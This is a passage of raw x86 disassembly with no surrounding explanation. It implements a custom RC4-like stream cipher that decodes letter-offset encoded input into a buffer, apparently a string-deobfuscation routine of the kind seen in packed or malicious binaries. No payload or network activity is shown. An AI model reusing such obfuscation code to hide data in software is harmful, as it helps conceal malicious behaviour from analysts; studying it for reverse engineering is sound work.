movzx ecx, byte [ebp - 0x3402]
and ecx, dword [ebp - 0x5624]
mov dword [ebp - 0x4658], ecx
mov edx, dword [ebp - 0x583c]
add edx, 1
mov dword [ebp - 0x583c], edx
cmp dword [ebp - 0x583c], 0xb
jbe 0x487d1b
mov eax, dword [ebp - 0x4658]
xor edx, edx
div dword [ebp - 0x33e8]
mov dword [ebp - 0x4658], edx
mov eax, dword [ebp - 0x4658]
cmp eax, dword [ebp - 0x33e8]
ja 0x487b78
mov ecx, dword [ebp - 0x33e8]
cmp ecx, dword [ebp - 0x4658]
je 0x487ded
mov edx, dword [ebp - 0x33e8]
shl edx, 0
lea eax, [ebp - 0x2018]
mov ecx, dword [ebp - 0x4658]
shl ecx, 0
lea esi, [ebp - 0x2018]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x33e8]
shl eax, 0
lea ecx, [ebp - 0x2018]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x4658]
shl edx, 0
lea eax, [ebp - 0x2018]
mov ecx, dword [ebp - 0x33e8]
shl ecx, 0
lea esi, [ebp - 0x2018]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x4658]
shl eax, 0
lea ecx, [ebp - 0x2018]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x33e8]
shl edx, 0
lea eax, [ebp - 0x2018]
mov ecx, dword [ebp - 0x4658]
shl ecx, 0
lea esi, [ebp - 0x2018]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x33e8]
shl eax, 0
lea ecx, [ebp - 0x2018]
mov byte [eax + ecx], dl
jmp 0x487b1d
mov edx, 1
shl edx, 0
lea eax, [ebp - 0x2018]
mov cl, byte [edx + eax]
mov byte [ebp - 0x325d], cl
mov edx, 1
imul eax, edx, 3
lea ecx, [ebp - 0x2018]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x328f], dl
mov eax, 1
imul ecx, eax, 5
lea edx, [ebp - 0x2018]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3328], al
mov ecx, 1
imul edx, ecx, 7
lea eax, [ebp - 0x2018]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3290], cl
movzx edx, byte [ebp - 0x3402]
shl edx, 0
lea eax, [ebp - 0x2018]
mov cl, byte [edx + eax]
mov byte [ebp - 0x32d6], cl
mov dword [ebp - 0x5b5c], 0x22
cmp dword [ebp - 0x5b5c], 2
jle 0x48932c
mov edx, dword [ebp - 0x5b5c]
and edx, 1
jne 0x48932c
mov dword [ebp - 0x33e8], 0
mov dword [ebp - 0x3748], 0
mov eax, dword [ebp - 0x3748]
add eax, 1
mov dword [ebp - 0x3748], eax
mov dword [ebp - 0x3e04], 0
mov ecx, dword [ebp - 0x33e8]
shl ecx, 1
mov dword [ebp - 0x3e04], ecx
mov dword [ebp - 0x3c50], 0
mov edx, dword [ebp - 0x3e04]
shl edx, 0
add edx, dword [ebp - 0x3f38]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3c50]
mov dword [ebp - 0x3c50], eax
mov dword [ebp - 0x3c4c], 0
mov ecx, dword [ebp - 0x3c4c]
add ecx, 0x44
mov dword [ebp - 0x3c4c], ecx
mov dword [ebp - 0x3e08], 0
mov edx, dword [ebp - 0x33e8]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3e08], edx
mov dword [ebp - 0x3c48], 0
mov eax, dword [ebp - 0x3e08]
shl eax, 0
add eax, dword [ebp - 0x3f38]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3c48]
mov dword [ebp - 0x3c48], ecx
mov dword [ebp - 0x3c44], 0
mov edx, dword [ebp - 0x3c44]
add edx, 0x7a
mov dword [ebp - 0x3c44], edx
mov dword [ebp - 0x3c40], 0
mov eax, dword [ebp - 0x3c50]
sub eax, dword [ebp - 0x3c4c]
add eax, dword [ebp - 0x3c40]
mov dword [ebp - 0x3c40], eax
mov dword [ebp - 0x3c3c], 0
mov ecx, dword [ebp - 0x3c48]
sub ecx, dword [ebp - 0x3c44]
add ecx, dword [ebp - 0x3c3c]
mov dword [ebp - 0x3c3c], ecx
mov dword [ebp - 0x3e0c], 0
mov edx, dword [ebp - 0x3c40]
shl edx, 4
mov dword [ebp - 0x3e0c], edx
mov dword [ebp - 0x3e10], 0
mov eax, dword [ebp - 0x3c3c]
mov dword [ebp - 0x3e10], eax
mov dword [ebp - 0x3e14], 0
mov ecx, dword [ebp - 0x3e0c]
or ecx, dword [ebp - 0x3e10]
mov dword [ebp - 0x3e14], ecx
mov byte [ebp - 0x3329], 0
mov dl, byte [ebp - 0x3e14]
mov byte [ebp - 0x3329], dl
mov byte [ebp - 0x3326], 0
movzx eax, byte [ebp - 0x32d6]
shl eax, 0
lea ecx, [ebp - 0x2018]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3326], dl
movzx eax, byte [ebp - 0x325d]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x328f]
add eax, edx
mov byte [ebp - 0x328f], al
mov cl, byte [ebp - 0x325d]
add cl, 1
mov byte [ebp - 0x325d], cl
movzx edx, byte [ebp - 0x328f]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [ebp - 0x32d6]
shl ecx, 0
lea esi, [ebp - 0x2018]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3290]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [ebp - 0x328f]
shl edx, 0
lea esi, [ebp - 0x2018]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325d]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [ebp - 0x3290]
shl eax, 0
lea esi, [ebp - 0x2018]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325d]
shl edx, 0
lea eax, [ebp - 0x2018]
mov cl, byte [ebp - 0x3326]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3326]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3328]
add edx, ecx
mov byte [ebp - 0x3328], dl
movzx eax, byte [ebp - 0x3329]
movzx ecx, byte [ebp - 0x328f]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x325d]
shl edx, 0
lea esi, [ebp - 0x2018]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3290]
shl edx, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x32d6]
shl ecx, 0
lea esi, [ebp - 0x2018]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3328]
shl ecx, 0
lea esi, [ebp - 0x2018]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3290], al
mov al, byte [ebp - 0x3329]
mov byte [ebp - 0x32d6], al
mov cl, byte [ebp - 0x3290]
mov byte [ebp - 0x345e], cl
cmp dword [ebp - 0x33e8], 0
jbe 0x4881f1
mov edx, dword [ebp - 0x33e8]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x1708]
mov cl, byte [ebp - 0x345e]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x3748]
add edx, 6
mov dword [ebp - 0x3748], edx
mov eax, dword [ebp - 0x33e8]
add eax, 1
mov dword [ebp - 0x4af0], eax
jmp 0x488220
mov ecx, dword [ebp - 0x4af0]
add ecx, 1
mov dword [ebp - 0x4af0], ecx
mov edx, dword [ebp - 0x4af0]
cmp edx, dword [ebp - 0x3748]
jge 0x4884e8
mov eax, dword [ebp - 0x33e8]
add eax, 1
mov dword [ebp - 0x33e8], eax
mov ecx, dword [ebp - 0x33e8]
shl ecx, 1
mov dword [ebp - 0x3e04], ecx
mov edx, dword [ebp - 0x3e04]
shl edx, 0
add edx, dword [ebp - 0x3f38]
movzx eax, byte [edx]
mov dword [ebp - 0x3c50], eax
mov dword [ebp - 0x3c4c], 0x44
mov ecx, dword [ebp - 0x33e8]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3e08], ecx
mov edx, dword [ebp - 0x3e08]
shl edx, 0
add edx, dword [ebp - 0x3f38]
movzx eax, byte [edx]
mov dword [ebp - 0x3c48], eax
mov dword [ebp - 0x3c44], 0x7a
mov ecx, dword [ebp - 0x3c50]
sub ecx, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c40], ecx
mov edx, dword [ebp - 0x3c48]
sub edx, dword [ebp - 0x3c44]
mov dword [ebp - 0x3c3c], edx
mov eax, dword [ebp - 0x3c40]
shl eax, 4
mov dword [ebp - 0x3e0c], eax
mov ecx, dword [ebp - 0x3c3c]
mov dword [ebp - 0x3e10], ecx
mov edx, dword [ebp - 0x3e0c]
or edx, dword [ebp - 0x3e10]
mov dword [ebp - 0x3e14], edx
mov al, byte [ebp - 0x3e14]
mov byte [ebp - 0x3329], al
movzx ecx, byte [ebp - 0x32d6]
shl ecx, 0
lea edx, [ebp - 0x2018]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3326], al
movzx ecx, byte [ebp - 0x325d]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x328f]
add ecx, eax
mov byte [ebp - 0x328f], cl
mov dl, byte [ebp - 0x325d]
add dl, 1
mov byte [ebp - 0x325d], dl
movzx eax, byte [ebp - 0x328f]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [ebp - 0x32d6]
shl edx, 0
lea esi, [ebp - 0x2018]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3290]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [ebp - 0x328f]
shl eax, 0
lea esi, [ebp - 0x2018]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325d]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [ebp - 0x3290]
shl ecx, 0
lea esi, [ebp - 0x2018]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325d]
shl eax, 0
lea ecx, [ebp - 0x2018]
mov dl, byte [ebp - 0x3326]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3326]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3328]
add eax, edx
mov byte [ebp - 0x3328], al
movzx ecx, byte [ebp - 0x3329]
movzx edx, byte [ebp - 0x328f]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x325d]
shl eax, 0
lea esi, [ebp - 0x2018]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x2018]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3290]
shl eax, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x32d6]
shl edx, 0
lea esi, [ebp - 0x2018]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3328]
shl edx, 0
lea esi, [ebp - 0x2018]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3290], cl
mov cl, byte [ebp - 0x3329]
mov byte [ebp - 0x32d6], cl
mov dl, byte [ebp - 0x3290]
mov byte [ebp - 0x345e], dl
cmp dword [ebp - 0x33e8], 0
jbe 0x4884e3
mov eax, dword [ebp - 0x33e8]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x1708]
mov dl, byte [ebp - 0x345e]
mov byte [eax + ecx], dl
jmp 0x488211
mov eax, dword [ebp - 0x3748]
add eax, 1
mov dword [ebp - 0x3748], eax
mov ecx, dword [ebp - 0x33e8]
add ecx, 1
mov dword [ebp - 0x33e8], ecx
mov edx, dword [ebp - 0x3748]
add edx, 1
mov dword [ebp - 0x3748], edx
mov eax, dword [ebp - 0x33e8]
shl eax, 1
mov dword [ebp - 0x3e04], eax
mov ecx, dword [ebp - 0x3e04]
shl ecx, 0
add ecx, dword [ebp - 0x3f38]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c50], edx
mov dword [ebp - 0x3c4c], 0x44
mov eax, dword [ebp - 0x33e8]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3e08], eax
mov ecx, dword [ebp - 0x3e08]
shl ecx, 0
add ecx, dword [ebp - 0x3f38]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c48], edx
mov dword [ebp - 0x3c44], 0x7a
mov eax, dword [ebp - 0x3c50]
sub eax, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c40], eax
mov ecx, dword [ebp - 0x3c48]
sub ecx, dword [ebp - 0x3c44]
mov dword [ebp - 0x3c3c], ecx
mov edx, dword [ebp - 0x3c40]
shl edx, 4
mov dword [ebp - 0x3e0c], edx
mov eax, dword [ebp - 0x3c3c]
mov dword [ebp - 0x3e10], eax
mov ecx, dword [ebp - 0x3e0c]
or ecx, dword [ebp - 0x3e10]
mov dword [ebp - 0x3e14], ecx
mov dl, byte [ebp - 0x3e14]
mov byte [ebp - 0x3329], dl
movzx eax, byte [ebp - 0x32d6]
shl eax, 0
lea ecx, [ebp - 0x2018]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3326], dl
movzx eax, byte [ebp - 0x325d]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x328f]
add eax, edx
mov byte [ebp - 0x328f], al
mov cl, byte [ebp - 0x325d]
add cl, 1
mov byte [ebp - 0x325d], cl
movzx edx, byte [ebp - 0x328f]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [ebp - 0x32d6]
shl ecx, 0
lea esi, [ebp - 0x2018]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3290]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [ebp - 0x328f]
shl edx, 0
lea esi, [ebp - 0x2018]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325d]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [ebp - 0x3290]
shl eax, 0
lea esi, [ebp - 0x2018]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325d]
shl edx, 0
lea eax, [ebp - 0x2018]
mov cl, byte [ebp - 0x3326]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3326]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3328]
add edx, ecx
mov byte [ebp - 0x3328], dl
movzx eax, byte [ebp - 0x3329]
movzx ecx, byte [ebp - 0x328f]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x325d]
shl edx, 0
lea esi, [ebp - 0x2018]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3290]
shl edx, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x32d6]
shl ecx, 0
lea esi, [ebp - 0x2018]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3328]
shl ecx, 0
lea esi, [ebp - 0x2018]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3290], al
mov al, byte [ebp - 0x3329]
mov byte [ebp - 0x32d6], al
mov cl, byte [ebp - 0x3290]
mov byte [ebp - 0x345e], cl
cmp dword [ebp - 0x33e8], 0
jbe 0x4887b8
mov edx, dword [ebp - 0x33e8]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x1708]
mov cl, byte [ebp - 0x345e]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x33e8]
add edx, 1
mov dword [ebp - 0x33e8], edx
mov eax, dword [ebp - 0x3748]
add eax, 1
mov dword [ebp - 0x3748], eax
mov ecx, dword [ebp - 0x33e8]
shl ecx, 1
mov dword [ebp - 0x3e04], ecx
mov edx, dword [ebp - 0x3e04]
shl edx, 0
add edx, dword [ebp - 0x3f38]
movzx eax, byte [edx]
mov dword [ebp - 0x3c50], eax
mov dword [ebp - 0x3c4c], 0x44
mov ecx, dword [ebp - 0x33e8]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3e08], ecx
mov edx, dword [ebp - 0x3e08]
shl edx, 0
add edx, dword [ebp - 0x3f38]
movzx eax, byte [edx]
mov dword [ebp - 0x3c48], eax
mov dword [ebp - 0x3c44], 0x7a
mov ecx, dword [ebp - 0x3c50]
sub ecx, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c40], ecx
mov edx, dword [ebp - 0x3c48]
sub edx, dword [ebp - 0x3c44]
mov dword [ebp - 0x3c3c], edx
mov eax, dword [ebp - 0x3c40]
shl eax, 4
mov dword [ebp - 0x3e0c], eax
mov ecx, dword [ebp - 0x3c3c]
mov dword [ebp - 0x3e10], ecx
mov edx, dword [ebp - 0x3e0c]
or edx, dword [ebp - 0x3e10]
mov dword [ebp - 0x3e14], edx
mov al, byte [ebp - 0x3e14]
mov byte [ebp - 0x3329], al
movzx ecx, byte [ebp - 0x32d6]
shl ecx, 0
lea edx, [ebp - 0x2018]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3326], al
movzx ecx, byte [ebp - 0x325d]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x328f]
add ecx, eax
mov byte [ebp - 0x328f], cl
mov dl, byte [ebp - 0x325d]
add dl, 1
mov byte [ebp - 0x325d], dl
movzx eax, byte [ebp - 0x328f]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [ebp - 0x32d6]
shl edx, 0
lea esi, [ebp - 0x2018]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3290]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [ebp - 0x328f]
shl eax, 0
lea esi, [ebp - 0x2018]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325d]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [ebp - 0x3290]
shl ecx, 0
lea esi, [ebp - 0x2018]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325d]
shl eax, 0
lea ecx, [ebp - 0x2018]
mov dl, byte [ebp - 0x3326]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3326]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3328]
add eax, edx
mov byte [ebp - 0x3328], al
movzx ecx, byte [ebp - 0x3329]
movzx edx, byte [ebp - 0x328f]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x325d]
shl eax, 0
lea esi, [ebp - 0x2018]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x2018]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3290]
shl eax, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x32d6]
shl edx, 0
lea esi, [ebp - 0x2018]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3328]
shl edx, 0
lea esi, [ebp - 0x2018]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3290], cl
mov cl, byte [ebp - 0x3329]
mov byte [ebp - 0x32d6], cl
mov dl, byte [ebp - 0x3290]
mov byte [ebp - 0x345e], dl
cmp dword [ebp - 0x33e8], 0
jbe 0x488a78
mov eax, dword [ebp - 0x33e8]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x1708]
mov dl, byte [ebp - 0x345e]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x33e8]
add eax, 1
mov dword [ebp - 0x33e8], eax
mov ecx, dword [ebp - 0x3748]
add ecx, 1
mov dword [ebp - 0x3748], ecx
mov edx, dword [ebp - 0x33e8]
shl edx, 1
mov dword [ebp - 0x3e04], edx
mov eax, dword [ebp - 0x3e04]
shl eax, 0
add eax, dword [ebp - 0x3f38]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c50], ecx
mov dword [ebp - 0x3c4c], 0x44
mov edx, dword [ebp - 0x33e8]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3e08], edx
mov eax, dword [ebp - 0x3e08]
shl eax, 0
add eax, dword [ebp - 0x3f38]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c48], ecx
mov dword [ebp - 0x3c44], 0x7a
mov edx, dword [ebp - 0x3c50]
sub edx, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c40], edx
mov eax, dword [ebp - 0x3c48]
sub eax, dword [ebp - 0x3c44]
mov dword [ebp - 0x3c3c], eax
mov ecx, dword [ebp - 0x3c40]
shl ecx, 4
mov dword [ebp - 0x3e0c], ecx
mov edx, dword [ebp - 0x3c3c]
mov dword [ebp - 0x3e10], edx
mov eax, dword [ebp - 0x3e0c]
or eax, dword [ebp - 0x3e10]
mov dword [ebp - 0x3e14], eax
mov cl, byte [ebp - 0x3e14]
mov byte [ebp - 0x3329], cl
movzx edx, byte [ebp - 0x32d6]
shl edx, 0
lea eax, [ebp - 0x2018]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3326], cl
movzx edx, byte [ebp - 0x325d]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x328f]
add edx, ecx
mov byte [ebp - 0x328f], dl
mov al, byte [ebp - 0x325d]
add al, 1
mov byte [ebp - 0x325d], al
movzx ecx, byte [ebp - 0x328f]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [ebp - 0x32d6]
shl eax, 0
lea esi, [ebp - 0x2018]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3290]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [ebp - 0x328f]
shl ecx, 0
lea esi, [ebp - 0x2018]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325d]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [ebp - 0x3290]
shl edx, 0
lea esi, [ebp - 0x2018]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325d]
shl ecx, 0
lea edx, [ebp - 0x2018]
mov al, byte [ebp - 0x3326]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3326]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3328]
add ecx, eax
mov byte [ebp - 0x3328], cl
movzx edx, byte [ebp - 0x3329]
movzx eax, byte [ebp - 0x328f]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x325d]
shl ecx, 0
lea esi, [ebp - 0x2018]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3290]
shl ecx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x32d6]
shl eax, 0
lea esi, [ebp - 0x2018]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3328]
shl eax, 0
lea esi, [ebp - 0x2018]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3290], dl
mov dl, byte [ebp - 0x3329]
mov byte [ebp - 0x32d6], dl
mov al, byte [ebp - 0x3290]
mov byte [ebp - 0x345e], al
cmp dword [ebp - 0x33e8], 0
jbe 0x488d37
mov ecx, dword [ebp - 0x33e8]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x1708]
mov al, byte [ebp - 0x345e]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x3748]
add ecx, 6
mov dword [ebp - 0x3748], ecx
mov edx, dword [ebp - 0x33e8]
add edx, 1
mov dword [ebp - 0x4af0], edx
jmp 0x488d66
mov eax, dword [ebp - 0x4af0]
add eax, 1
mov dword [ebp - 0x4af0], eax
mov ecx, dword [ebp - 0x4af0]
cmp ecx, dword [ebp - 0x3748]
jge 0x48902f
mov edx, dword [ebp - 0x33e8]
add edx, 1
mov dword [ebp - 0x33e8], edx
mov eax, dword [ebp - 0x33e8]
shl eax, 1
mov dword [ebp - 0x3e04], eax
mov ecx, dword [ebp - 0x3e04]
shl ecx, 0
add ecx, dword [ebp - 0x3f38]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c50], edx
mov dword [ebp - 0x3c4c], 0x44
mov eax, dword [ebp - 0x33e8]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3e08], eax
mov ecx, dword [ebp - 0x3e08]
shl ecx, 0
add ecx, dword [ebp - 0x3f38]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c48], edx
mov dword [ebp - 0x3c44], 0x7a
mov eax, dword [ebp - 0x3c50]
sub eax, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c40], eax
mov ecx, dword [ebp - 0x3c48]
sub ecx, dword [ebp - 0x3c44]
mov dword [ebp - 0x3c3c], ecx
mov edx, dword [ebp - 0x3c40]
shl edx, 4
mov dword [ebp - 0x3e0c], edx
mov eax, dword [ebp - 0x3c3c]
mov dword [ebp - 0x3e10], eax
mov ecx, dword [ebp - 0x3e0c]
or ecx, dword [ebp - 0x3e10]
mov dword [ebp - 0x3e14], ecx
mov dl, byte [ebp - 0x3e14]
mov byte [ebp - 0x3329], dl
movzx eax, byte [ebp - 0x32d6]
shl eax, 0
lea ecx, [ebp - 0x2018]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3326], dl
movzx eax, byte [ebp - 0x325d]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x328f]
add eax, edx
mov byte [ebp - 0x328f], al
mov cl, byte [ebp - 0x325d]
add cl, 1
mov byte [ebp - 0x325d], cl
movzx edx, byte [ebp - 0x328f]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [ebp - 0x32d6]
shl ecx, 0
lea esi, [ebp - 0x2018]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3290]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [ebp - 0x328f]
shl edx, 0
lea esi, [ebp - 0x2018]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325d]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [ebp - 0x3290]
shl eax, 0
lea esi, [ebp - 0x2018]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325d]
shl edx, 0
lea eax, [ebp - 0x2018]
mov cl, byte [ebp - 0x3326]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3326]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3328]
add edx, ecx
mov byte [ebp - 0x3328], dl
movzx eax, byte [ebp - 0x3329]
movzx ecx, byte [ebp - 0x328f]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x325d]
shl edx, 0
lea esi, [ebp - 0x2018]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3290]
shl edx, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x32d6]
shl ecx, 0
